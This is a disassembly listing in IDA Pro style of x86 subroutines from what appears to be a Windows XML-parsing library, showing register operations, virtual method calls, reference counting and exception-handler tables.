; Attributes: bp-based frame


sub_69B6ED05	proc near		; CODE XREF: sub_69B46D44+1Ep
					; sub_69B6EF3C+F4p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+58h], 10h
		jz	loc_69B6EDDB
		push	ebx
		push	edi
		call	sub_69B6E35F
		lea	edi, [esi+38h]
		mov	eax, [edi]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B6ED53
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_69B8A0E9
		mov	eax, [ebp+var_8]
		jmp	short loc_69B6ED47
; ---------------------------------------------------------------------------


loc_69B6ED37:				; CODE XREF: sub_69B6ED05+45j
		mov	ecx, [eax]
		mov	eax, [ecx]
		call	dword ptr [eax+50h]
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_69B6ED47:				; CODE XREF: sub_69B6ED05+30j
		cmp	eax, [ebp+var_4]
		jb	short loc_69B6ED37
		push	ebx
		push	edi
		call	sub_69B17320


loc_69B6ED53:				; CODE XREF: sub_69B6ED05+22j
		lea	edi, [esi+34h]
		mov	ecx, [edi]
		cmp	ecx, ebx
		jz	short loc_69B6ED68
		mov	eax, [ecx]
		call	dword ptr [eax+50h]
		push	ebx
		push	edi
		call	sub_69B17320


loc_69B6ED68:				; CODE XREF: sub_69B6ED05+55j
		push	ebx
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+24h]
		push	eax
		mov	[esi+18h], ebx
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+44h]
		push	eax
		mov	[esi+28h], ebx
		mov	[esi+20h], ebx
		mov	[esi+32h], bx
		mov	[esi+30h], bx
		mov	[esi+40h], ebx
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+58h]
		and	eax, 0FFFFFF19h
		or	eax, 1
		lea	ecx, [esi+8Ch]
		mov	[esi+58h], eax
		call	sub_69B70B8C
		lea	ecx, [esi+70h]
		call	sub_69B7055C
		and	dword ptr [esi+58h], 0FFFFFFEFh
		pop	edi
		mov	[esi+54h], ebx
		mov	[esi+50h], ebx
		pop	ebx


loc_69B6EDDB:				; CODE XREF: sub_69B6ED05+Cj
		pop	esi
		leave
		retn
sub_69B6ED05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6EDDE	proc near		; CODE XREF: sub_69B473A7+45p
					; sub_69B6FBE1+49p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	edi
		mov	[esi+0A8h], ebx
		call	sub_69B6DF3C
		push	1
		call	sub_69B1A6EC
		push	eax
		lea	edi, [esi+68h]
		push	edi
		call	sub_69B17320
		mov	ecx, [edi]
		push	ebx
		push	ebx
		push	ebx
		push	offset off_69B6EF20
		call	sub_69B4D7A3
		mov	ebx, [ebp+arg_0]
		mov	[esi+6Ch], eax
		xor	eax, eax
		cmp	ebx, eax
		jnz	short loc_69B6EE2C
		push	eax
		push	eax
		push	eax
		push	0C00CE303h
		call	sub_69B6E277


loc_69B6EE2C:				; CODE XREF: sub_69B6EDDE+3Fj
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0B4h]
		mov	eax, [eax+4Ch]
		test	byte ptr [eax+0Ah], 1
		jnz	short loc_69B6EE49
		push	8000000Ah
		call	sub_69B2E8B8


loc_69B6EE49:				; CODE XREF: sub_69B6EDDE+5Fj
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+44h]
		cmp	eax, 3
		mov	eax, [ebx]
		mov	ecx, ebx
		jnz	short loc_69B6EE78
		call	dword ptr [eax+0B4h]
		mov	ecx, eax
		call	sub_69B3D6C4
		mov	ebx, eax
		xor	eax, eax
		cmp	ebx, eax
		jnz	short loc_69B6EE8E
		push	eax
		push	eax
		push	eax
		push	0C00CE311h
		jmp	short loc_69B6EE89
; ---------------------------------------------------------------------------


loc_69B6EE78:				; CODE XREF: sub_69B6EDDE+79j
		call	dword ptr [eax+44h]
		test	eax, eax
		jz	short loc_69B6EE8E
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	0C00CE303h


loc_69B6EE89:				; CODE XREF: sub_69B6EDDE+98j
		call	sub_69B6E277


loc_69B6EE8E:				; CODE XREF: sub_69B6EDDE+8Ej
					; sub_69B6EDDE+9Fj
		mov	ecx, [edi]
		push	ebx
		mov	[esi+0B4h], ebx
		call	sub_69B4DD27
		lea	ecx, [esi+70h]
		call	sub_69B704FE
		push	ebx
		push	0
		call	sub_69B71C05
		mov	edx, [eax]
		push	offset off_69B2A46C
		push	esi
		mov	ecx, eax
		mov	[ebp+arg_0], eax
		call	dword ptr [edx+3Ch]
		mov	ecx, esi
		call	sub_69B6E969
		lea	ecx, [esi+70h]
		call	sub_69B70774
		mov	ecx, [edi]
		push	ebx
		call	sub_69B4DDE6
		lea	edi, [esi+60h]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B6EEFD
		cmp	dword ptr [esi+0A8h], 2
		setz	al
		push	eax
		call	sub_69B76419
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	edi
		call	sub_69B17320


loc_69B6EEFD:				; CODE XREF: sub_69B6EDDE+FBj
		lea	ecx, [esi+8Ch]
		call	sub_69B70B8C
		push	[ebp+arg_0]
		add	esi, 0A4h
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_69B6EDDE	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B6EF20	dd offset off_69B17D10	; DATA XREF: sub_69B6EDDE+2Bo
		align 8
		dd 4
		dd offset aNull_0	; "null"
aNull_0:				; DATA XREF: .text:69B6EF2Co
		unicode	0, <null>,0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_69B6EF3C	proc near		; CODE XREF: sub_69B46740+16p
					; .text:69B6F7E2p ...
		push	3Ch
		push	offset dword_69B6F048
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	edi, edi
		push	edi
		lea	ecx, [ebp-38h]
		call	sub_69B2DC5B
		mov	[ebp-4], edi
		cmp	[esi+30h], di
		jz	short loc_69B6EF94


loc_69B6EF61:				; CODE XREF: sub_69B6EF3C+C5j
		test	byte ptr [esi+58h], 20h
		jnz	short loc_69B6EF94
		mov	eax, [esi+48h]
		mov	[ebp-3Ch], eax
		test	eax, eax
		jz	short loc_69B6EF7C
		mov	ecx, esi
		call	sub_69B6E999
		test	al, al
		jz	short loc_69B6EF94


loc_69B6EF7C:				; CODE XREF: sub_69B6EF3C+33j
		push	esi
		mov	ecx, [esi+20h]
		call	sub_69B713D4
		test	al, al
		jz	short loc_69B6EF9D
		mov	ecx, esi
		call	sub_69B6ECE5
		test	al, al
		jnz	short loc_69B6EFF9


loc_69B6EF94:				; CODE XREF: sub_69B6EF3C+23j
					; sub_69B6EF3C+29j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B6F02E
; ---------------------------------------------------------------------------


loc_69B6EF9D:				; CODE XREF: sub_69B6EF3C+4Bj
		lea	edi, [esi+24h]
		mov	eax, [edi]
		mov	[ebp-40h], eax
		mov	eax, [eax+8]
		mov	[ebp-44h], eax
		movsx	ecx, word ptr [esi+30h]
		cmp	ecx, eax
		jl	short loc_69B6EFF9
		lea	ebx, [eax+eax]
		mov	[ebp-44h], ebx
		cmp	ebx, 400h
		jle	short loc_69B6EFD0
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	0C00CE300h
		call	sub_69B6E277


loc_69B6EFD0:				; CODE XREF: sub_69B6EF3C+83j
		mov	ecx, [edi]
		mov	[ebp-48h], ecx
		lea	eax, [ebx+ebx]
		push	eax
		call	sub_69B6EBE0
		push	eax
		mov	ecx, edi
		call	sub_69B199CC
		mov	edi, [edi]
		mov	[ebp-4Ch], edi
		movsx	eax, word ptr [esi+30h]
		imul	eax, 1Ch
		lea	eax, [eax+edi-10h]
		mov	[esi+20h], eax


loc_69B6EFF9:				; CODE XREF: sub_69B6EF3C+56j
					; sub_69B6EF3C+75j
		lea	ecx, [ebp-38h]
		call	sub_69B2DA65
		jmp	loc_69B6EF61
; ---------------------------------------------------------------------------


loc_69B6F006:				; DATA XREF: .text:69B6F04Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6F00F:				; DATA XREF: .text:69B6F050o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-38h]
		call	sub_69B2DA65
		lea	ecx, [ebp-38h]
		call	sub_69B2D6DB
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]


loc_69B6F02E:				; CODE XREF: sub_69B6EF3C+5Cj
		mov	ecx, esi
		call	sub_69B6ED05
		lea	ecx, [ebp-38h]
		call	sub_69B2DBD4
		call	sub_69B1853C
		retn
sub_69B6EF3C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B6F048	dd 0FFFFFFFFh			dd offset loc_69B6F006
		dd offset loc_69B6F00F

; =============== S U B	R O U T	I N E =======================================



sub_69B6F054	proc near		; CODE XREF: sub_69B6F0B5+22p
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+28h]
		push	edi
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B716A6
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B6F0B0
		cmp	dword ptr [esi+0A8h], 2
		jz	short loc_69B6F0B0
		mov	eax, [esi+28h]
		mov	ecx, [eax+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		sub	eax, edi
		jz	short loc_69B6F09B
		dec	eax
		jz	short loc_69B6F093
		dec	eax
		dec	eax
		jz	short loc_69B6F09B
		sub	eax, 3
		jz	short loc_69B6F093
		sub	eax, 9
		jnz	short loc_69B6F0B0


loc_69B6F093:				; CODE XREF: sub_69B6F054+2Fj
					; sub_69B6F054+38j
		mov	edi, dword_69B9B668
		jmp	short loc_69B6F0B0
; ---------------------------------------------------------------------------


loc_69B6F09B:				; CODE XREF: sub_69B6F054+2Cj
					; sub_69B6F054+33j
		mov	eax, [esi+28h]
		push	dword ptr [eax+14h]
		add	esi, 44h
		push	esi
		call	sub_69B17320
		mov	edi, dword_69B9B670


loc_69B6F0B0:				; CODE XREF: sub_69B6F054+14j
					; sub_69B6F054+1Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B6F054	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F0B5	proc near		; CODE XREF: sub_69B6FABE+B1p
					; sub_69B702BB+50p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	[esp+arg_4], 1
		push	esi
		mov	esi, ecx
		jnz	short loc_69B6F0CB
		call	sub_69B6E5D9
		test	eax, eax
		jnz	short loc_69B6F0CB
		inc	eax
		jmp	short loc_69B6F12D
; ---------------------------------------------------------------------------


loc_69B6F0CB:				; CODE XREF: sub_69B6F0B5+8j
					; sub_69B6F0B5+11j
		push	ebx
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, 2
		jnz	short loc_69B6F0E4
		mov	ecx, esi
		call	sub_69B6F054
		test	eax, eax
		mov	[esp+8+arg_8], eax
		jz	short loc_69B6F12C


loc_69B6F0E4:				; CODE XREF: sub_69B6F0B5+1Ej
		movsx	eax, word ptr [esi+30h]
		mov	ecx, [esi+24h]
		imul	eax, 1Ch
		push	edi
		push	ebx
		push	[esp+10h+arg_8]
		lea	edi, [eax+ecx+0Ch]
		push	esi
		mov	ecx, edi
		call	sub_69B712FA
		mov	ecx, [esi+20h]
		test	ecx, ecx
		jz	short loc_69B6F120
		cmp	ebx, 1
		jnz	short loc_69B6F115
		mov	dword ptr [ecx+0Ch], 2
		jmp	short loc_69B6F120
; ---------------------------------------------------------------------------


loc_69B6F115:				; CODE XREF: sub_69B6F0B5+55j
		test	ebx, ebx
		jnz	short loc_69B6F120
		mov	dword ptr [ecx+0Ch], 3


loc_69B6F120:				; CODE XREF: sub_69B6F0B5+50j
					; sub_69B6F0B5+5Ej ...
		test	eax, eax
		jnz	short loc_69B6F12B
		inc	word ptr [esi+30h]
		mov	[esi+20h], edi


loc_69B6F12B:				; CODE XREF: sub_69B6F0B5+6Dj
		pop	edi


loc_69B6F12C:				; CODE XREF: sub_69B6F0B5+2Dj
		pop	ebx


loc_69B6F12D:				; CODE XREF: sub_69B6F0B5+14j
		pop	esi
		retn	0Ch
sub_69B6F0B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F131	proc near		; CODE XREF: sub_69B6F8EA+7Dp
					; sub_69B702BB+43p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	eax, [esi+28h]
		push	edi
		add	eax, 0Ch
		push	eax
		call	sub_69B17320
		test	edi, edi
		jz	short loc_69B6F153
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+5Ch]
		jmp	short loc_69B6F155
; ---------------------------------------------------------------------------


loc_69B6F153:				; CODE XREF: sub_69B6F131+17j
		xor	eax, eax


loc_69B6F155:				; CODE XREF: sub_69B6F131+20j
		test	eax, eax
		jz	short loc_69B6F16D
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+4Ch]
		and	eax, 0FFFFFF01h
		push	eax
		mov	ecx, esi
		call	sub_69B6E25C


loc_69B6F16D:				; CODE XREF: sub_69B6F131+26j
		or	dword ptr [esi+58h], 1
		pop	edi
		pop	esi
		retn	4
sub_69B6F131	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F176	proc near		; DATA XREF: .text:69B185FCo

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		add	ecx, 0FFFFFFF0h
		push	0FFFFFFFFh
		push	0
		call	sub_69B6E468
		add	eax, 0Ch
		push	eax
		call	sub_69B17320
		retn	4
sub_69B6F176	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F192	proc near		; CODE XREF: sub_69B71C1C+4Ap
					; sub_69B7267F+AEp
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+0A8h], 2
		jnz	short loc_69B6F1AA
		push	1
		call	sub_69B76419
		add	esi, 60h
		jmp	short loc_69B6F1B9
; ---------------------------------------------------------------------------


loc_69B6F1AA:				; CODE XREF: sub_69B6F192+Aj
		add	esi, 60h
		cmp	dword ptr [esi], 0
		jnz	short loc_69B6F1CB
		push	0
		call	sub_69B76419


loc_69B6F1B9:				; CODE XREF: sub_69B6F192+16j
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	esi
		call	sub_69B17320


loc_69B6F1CB:				; CODE XREF: sub_69B6F192+1Ej
		mov	ecx, [esi]
		mov	eax, [ecx]
		pop	esi
		jmp	dword ptr [eax+40h]
sub_69B6F192	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F1D3	proc near		; CODE XREF: sub_69B73395+52p
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	al, [esi+50h]
		shl	al, 4
		or	al, [esi+4Ch]
		and	dword ptr [esi+50h], 0
		movzx	bp, al
		mov	eax, [esi+58h]
		mov	ecx, eax
		shr	ecx, 3
		and	cl, 1
		xor	edx, edx
		mov	dh, cl
		mov	ecx, [esi+20h]
		push	edi
		lea	edi, [esi+34h]
		push	dword ptr [edi]
		and	eax, 0FFFFFFF7h
		mov	[esi+58h], eax
		or	ebp, edx
		push	ebp
		call	sub_69B6ECBF
		mov	ebx, [esi+60h]
		mov	ecx, [esi+0B4h]
		mov	eax, [ecx]
		mov	ebp, [ebx]
		add	esi, 14h
		push	esi
		call	dword ptr [eax+0B4h]
		push	eax
		mov	ecx, ebx
		call	dword ptr [ebp+44h]
		push	eax
		push	edi
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B6F1D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F238	proc near		; CODE XREF: sub_69B73395+7Ep
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+34h]
		mov	ecx, [edi]
		mov	eax, [ecx]
		call	dword ptr [eax+50h]
		mov	eax, [esi+20h]
		mov	eax, [eax+18h]
		shr	eax, 0Ah
		movzx	ecx, al
		mov	edx, ecx
		shr	eax, 5
		and	edx, 0Fh
		mov	[esi+4Ch], edx
		shr	ecx, 4
		mov	[esi+50h], ecx
		xor	eax, [esi+58h]
		push	0
		and	eax, 8
		xor	[esi+58h], eax
		mov	eax, [esi+20h]
		add	eax, 14h
		mov	ebx, [eax]
		push	eax
		call	sub_69B17320
		push	ebx
		push	edi
		call	sub_69B17320
		mov	eax, [esi+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B6F238	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F28B	proc near		; CODE XREF: sub_69B6F979+129p
					; sub_69B7577A+78p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esi+20h]
		mov	eax, [ecx+18h]
		shr	eax, 4
		and	eax, 1Fh
		dec	eax
		cmp	eax, 1
		jz	short loc_69B6F2AF
		push	[esp+4+arg_0]
		push	dword ptr [ecx+10h]
		mov	ecx, esi
		push	eax
		call	sub_69B6E6C4


loc_69B6F2AF:				; CODE XREF: sub_69B6F28B+13j
		mov	eax, [esi+20h]
		and	dword ptr [eax+0Ch], 0
		pop	esi
		retn	4
sub_69B6F28B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F2BA	proc near		; DATA XREF: .text:69B185E4o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		add	ecx, 28h
		push	ecx
		call	sub_69B17320
		retn	4
sub_69B6F2BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6F2CA	proc near		; CODE XREF: sub_69B727D0+55p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+5Ch]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B6F314
		push	0
		push	1
		push	10h
		call	sub_69B315DA
		push	eax
		push	edi
		call	sub_69B17320
		mov	ecx, [esi+0B4h]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	eax, [eax+48h]
		test	eax, eax
		jnz	short loc_69B6F306
		mov	eax, offset off_69B1A5AC


loc_69B6F306:				; CODE XREF: sub_69B6F2CA+35j
		push	dword ptr [esi+0B4h]
		mov	ecx, [edi]
		push	eax
		call	sub_69B18FB8


loc_69B6F314:				; CODE XREF: sub_69B6F2CA+Ej
		push	[ebp+arg_4]
		mov	ecx, [edi]
		call	sub_69B1980A
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B6F36A
		cmp	ebx, [esi+0B4h]
		jz	short loc_69B6F33F
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0B4h]
		cmp	dword ptr [eax+0ACh], 0
		jz	short loc_69B6F350


loc_69B6F33F:				; CODE XREF: sub_69B6F2CA+60j
		push	0
		push	0
		push	[ebp+arg_4]
		push	0C00CE30Fh
		call	sub_69B6E277


loc_69B6F350:				; CODE XREF: sub_69B6F2CA+73j
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0B4h]
		add	eax, 0ACh
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	eax, ebx
		jmp	short loc_69B6F3CA
; ---------------------------------------------------------------------------


loc_69B6F36A:				; CODE XREF: sub_69B6F2CA+58j
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	edx, [eax]
		xor	ebx, ebx
		push	ebx
		mov	ecx, eax
		call	dword ptr [edx+3Ch]
		mov	esi, eax
		lea	eax, [esi+0ACh]
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	eax, [esi]
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, esi
		call	dword ptr [eax+50h]
		mov	ecx, [esi+6Ch]
		cmp	ecx, ebx
		jz	short loc_69B6F3B4
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+38h]
		push	eax
		push	[ebp+arg_4]
		push	0C00CE312h
		call	sub_69B6E277


loc_69B6F3B4:				; CODE XREF: sub_69B6F2CA+D4j
		mov	ecx, esi
		call	sub_69B3D6C4
		mov	ecx, [edi]
		mov	esi, eax
		push	esi
		push	[ebp+arg_4]
		call	sub_69B18FB8
		mov	eax, esi


loc_69B6F3CA:				; CODE XREF: sub_69B6F2CA+9Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B6F2CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F3D1	proc near		; CODE XREF: sub_69B6FABE+110p
					; sub_69B7238E+3Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		mov	edi, ecx
		push	[esp+10h+arg_0]
		call	sub_69B71AFF
		lea	esi, [edi+0A0h]
		cmp	dword ptr [esi], 0
		mov	ebx, eax
		jnz	short loc_69B6F402
		push	0
		push	1
		push	10h
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B6F402:				; CODE XREF: sub_69B6F3D1+1Dj
		cmp	dword ptr [edi+0A8h], 2
		mov	ecx, [esi]
		push	ebx
		jz	short loc_69B6F414
		push	[esp+10h+arg_0]
		jmp	short loc_69B6F418
; ---------------------------------------------------------------------------


loc_69B6F414:				; CODE XREF: sub_69B6F3D1+3Bj
		push	[esp+10h+arg_4]


loc_69B6F418:				; CODE XREF: sub_69B6F3D1+41j
		call	sub_69B3182D
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	8
sub_69B6F3D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F425	proc near		; CODE XREF: sub_69B7326E+1Ep
					; sub_69B7500E+97p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_69B6EA8E
		test	eax, eax
		jz	short loc_69B6F443
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+44h]
		jmp	short locret_69B6F445
; ---------------------------------------------------------------------------


loc_69B6F443:				; CODE XREF: sub_69B6F425+13j
		xor	eax, eax

locret_69B6F445:			; CODE XREF: sub_69B6F425+1Cj
		retn	0Ch
sub_69B6F425	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F448	proc near		; CODE XREF: sub_69B75667+Cp
					; sub_69B75E84+7Bp
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+58h], 2
		jnz	short loc_69B6F481
		mov	eax, [esi+28h]
		mov	ecx, [eax+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	eax, [eax+4Ch]
		movzx	eax, byte ptr [eax+0Ah]
		shl	eax, 1
		xor	eax, [esi+58h]
		and	eax, 2
		xor	[esi+58h], eax
		test	byte ptr [esi+58h], 2
		jnz	short loc_69B6F481
		push	8000000Ah
		call	sub_69B2E8B8


loc_69B6F481:				; CODE XREF: sub_69B6F448+7j
					; sub_69B6F448+2Dj
		pop	esi
		retn
sub_69B6F448	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F483	proc near		; CODE XREF: sub_69B71C1C+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi]
		mov	esi, ecx
		mov	ecx, edi
		call	dword ptr [eax+38h]
		mov	eax, [eax+10h]
		cmp	eax, dword_69B9B628
		mov	eax, [edi]
		mov	ecx, edi
		jnz	short loc_69B6F4ED
		push	dword_69B9B518
		call	dword ptr [eax+0A8h]
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B6F4FF
		push	eax
		push	eax
		push	dword_69B9B518
		push	0C00CE020h
		call	sub_69B6E277


loc_69B6F4C5:				; CODE XREF: sub_69B6F483+7Aj
		mov	ecx, [esi+0B0h]
		push	2
		pop	eax
		mov	[esi+0A8h], eax
		push	0
		mov	[ecx+1Ch], eax
		call	sub_69B62A56


loc_69B6F4DE:				; CODE XREF: sub_69B6F483+ABj
		add	esi, 64h
		push	eax
		push	esi
		call	sub_69B17320


loc_69B6F4E8:				; CODE XREF: sub_69B6F483+BEj
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B6F4ED:				; CODE XREF: sub_69B6F483+1Cj
		push	dword_69B9B510
		call	dword ptr [eax+0A8h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B6F4C5


loc_69B6F4FF:				; CODE XREF: sub_69B6F483+2Ej
		push	off_69B9A448	; lpString
		mov	ecx, edi
		call	sub_69B2EF04
		test	al, al
		push	0
		jz	short loc_69B6F530
		mov	eax, [esi+0B0h]
		mov	dword ptr [esi+0A8h], 3
		mov	dword ptr [eax+1Ch], 1
		call	sub_69B5FB10
		jmp	short loc_69B6F4DE
; ---------------------------------------------------------------------------


loc_69B6F530:				; CODE XREF: sub_69B6F483+8Dj
		push	edi
		push	dword_69B9B518
		push	0C00CE323h
		call	sub_69B6E277
		jmp	short loc_69B6F4E8
sub_69B6F483	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F543	proc near		; CODE XREF: sub_69B70860+8p
					; .text:69B73D7Bp
		push	30h
		push	offset dword_69B6F638
		call	sub_69B19C5C
		mov	edi, ecx
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		mov	[ebp-20h], ebx
		mov	[ebp-4], ebx
		mov	eax, [edi+0B8h]
		mov	[ebp-24h], eax
		cmp	eax, ebx
		jnz	loc_69B6F5F2
		mov	ecx, [edi+0B4h]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	esi, eax
		mov	[ebp-28h], esi
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [esi+0Ch]
		call	sub_69B89C91
		mov	ebx, eax
		mov	[ebp-20h], ebx
		test	ebx, ebx
		jz	short loc_69B6F5B8
		mov	ecx, esi
		call	sub_69B3DD84
		mov	[ebp-30h], eax
		test	eax, eax
		jz	short loc_69B6F5AD
		mov	eax, [eax+8]
		mov	[ebp-34h], eax
		test	eax, eax
		jnz	short loc_69B6F5BC


loc_69B6F5AD:				; CODE XREF: sub_69B6F543+5Ej
		mov	esi, [esi+18h]
		mov	[ebp-38h], esi
		mov	[ebp-30h], esi
		jmp	short loc_69B6F5BC
; ---------------------------------------------------------------------------


loc_69B6F5B8:				; CODE XREF: sub_69B6F543+50j
		and	dword ptr [ebp-30h], 0


loc_69B6F5BC:				; CODE XREF: sub_69B6F543+68j
					; sub_69B6F543+73j
		push	1Ch
		call	sub_69B1D897
		mov	[ebp-3Ch], eax
		test	eax, eax
		jz	short loc_69B6F5D3
		mov	ecx, eax
		call	sub_69B72259
		jmp	short loc_69B6F5D5
; ---------------------------------------------------------------------------


loc_69B6F5D3:				; CODE XREF: sub_69B6F543+85j
		xor	eax, eax


loc_69B6F5D5:				; CODE XREF: sub_69B6F543+8Ej
		mov	[edi+0B8h], eax
		mov	[ebp-40h], eax
		push	dword ptr [ebp-30h]
		push	dword ptr [ebp-2Ch]
		push	ebx
		mov	ecx, eax
		call	sub_69B72074
		push	eax
		call	sub_69B8861E


loc_69B6F5F2:				; CODE XREF: sub_69B6F543+24j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B6F61D
; ---------------------------------------------------------------------------


loc_69B6F5F8:				; DATA XREF: .text:69B6F63Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6F601:				; DATA XREF: .text:69B6F640o
		mov	esp, [ebp-18h]
		mov	ebx, [ebp-20h]
		test	ebx, ebx
		jz	short loc_69B6F611
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]


loc_69B6F611:				; CODE XREF: sub_69B6F543+C6j
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-1Ch]


loc_69B6F61D:				; CODE XREF: sub_69B6F543+B3j
		test	ebx, ebx
		jz	short loc_69B6F627
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]


loc_69B6F627:				; CODE XREF: sub_69B6F543+DCj
		mov	eax, [edi+0B8h]
		call	sub_69B1853C
		retn
sub_69B6F543	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B6F638	dd 0FFFFFFFFh			dd offset loc_69B6F5F8
		dd offset loc_69B6F601

; =============== S U B	R O U T	I N E =======================================



sub_69B6F644	proc near		; CODE XREF: sub_69B6FBE1+76p
		mov	ecx, [ecx+0BCh]
		test	ecx, ecx
		jnz	sub_69B88114
		xor	eax, eax
		retn
sub_69B6F644	endp

; ---------------------------------------------------------------------------


loc_69B6F655:				; DATA XREF: .text:off_69B14498o
					; .text:off_69B18600o
		sub	dword ptr [esp+4], 0Ch
		jmp	sub_69B2D67E
; ---------------------------------------------------------------------------


loc_69B6F65F:				; DATA XREF: .text:69B1449Co
					; .text:69B18604o
		sub	dword ptr [esp+4], 0Ch
		jmp	sub_69B17349
